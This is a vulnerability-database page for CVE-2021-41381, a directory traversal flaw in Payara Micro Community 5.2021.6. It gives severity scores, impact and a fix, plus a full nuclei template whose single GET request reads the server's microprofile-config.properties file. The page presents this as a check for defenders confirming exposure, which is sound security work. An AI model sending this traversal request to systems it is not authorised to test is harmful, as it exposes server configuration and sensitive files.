HexBrain

Browse / CVEs / CVE-2021-41381

CVE-2021-41381· payara / micro community· CWE-22

Payara Micro Community 5.2021.6 Directory Traversal

highseverity
7.5CVSS score
52.9%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Payara Micro Community 5.2021.6 and below contains a directory traversal vulnerability.

Impact

An attacker can access sensitive files on the server, potentially leading to unauthorized disclosure of sensitive information.

Fix

Upgrade to a patched version of Payara Micro Community or apply the necessary security patches to mitigate the directory traversal vulnerability.

How to confirm it

Send: GET {{BaseURL}}/.//WEB-INF/classes/META-INF/microprofile-config.properties
Positive when: contains "payara.security.openid.default.providerURI=" and "payara.security.openid.sessionScopedConfiguration=true"

Run it with nuclei: nuclei -id CVE-2021-41381 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-41381

info:
  name: Payara Micro Community 5.2021.6 Directory Traversal
  author: pikpikcu
  severity: high
  description: Payara Micro Community 5.2021.6 and below contains a directory traversal vulnerability.
  impact: |
    An attacker can access sensitive files on the server, potentially leading to unauthorized disclosure of sensitive information.
  remediation: |
    Upgrade to a patched version of Payara Micro Community or apply the necessary security patches to mitigate the directory traversal vulnerability.
  reference:
    - https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2021-054.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41381
    - https://www.payara.fish
    - http://packetstormsecurity.com/files/164365/Payara-Micro-Community-5.2021.6-Directory-Traversal.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-41381
    cwe-id: CWE-22
    epss-score: 0.52926
    epss-percentile: 0.98984
    cpe: cpe:2.3:a:payara:micro_community:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: payara
    product: micro_community
  tags: cve2021,cve,payara,lfi,packetstorm,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/.//WEB-INF/classes/META-INF/microprofile-config.properties"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "payara.security.openid.default.providerURI="
          - "payara.security.openid.sessionScopedConfiguration=true"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from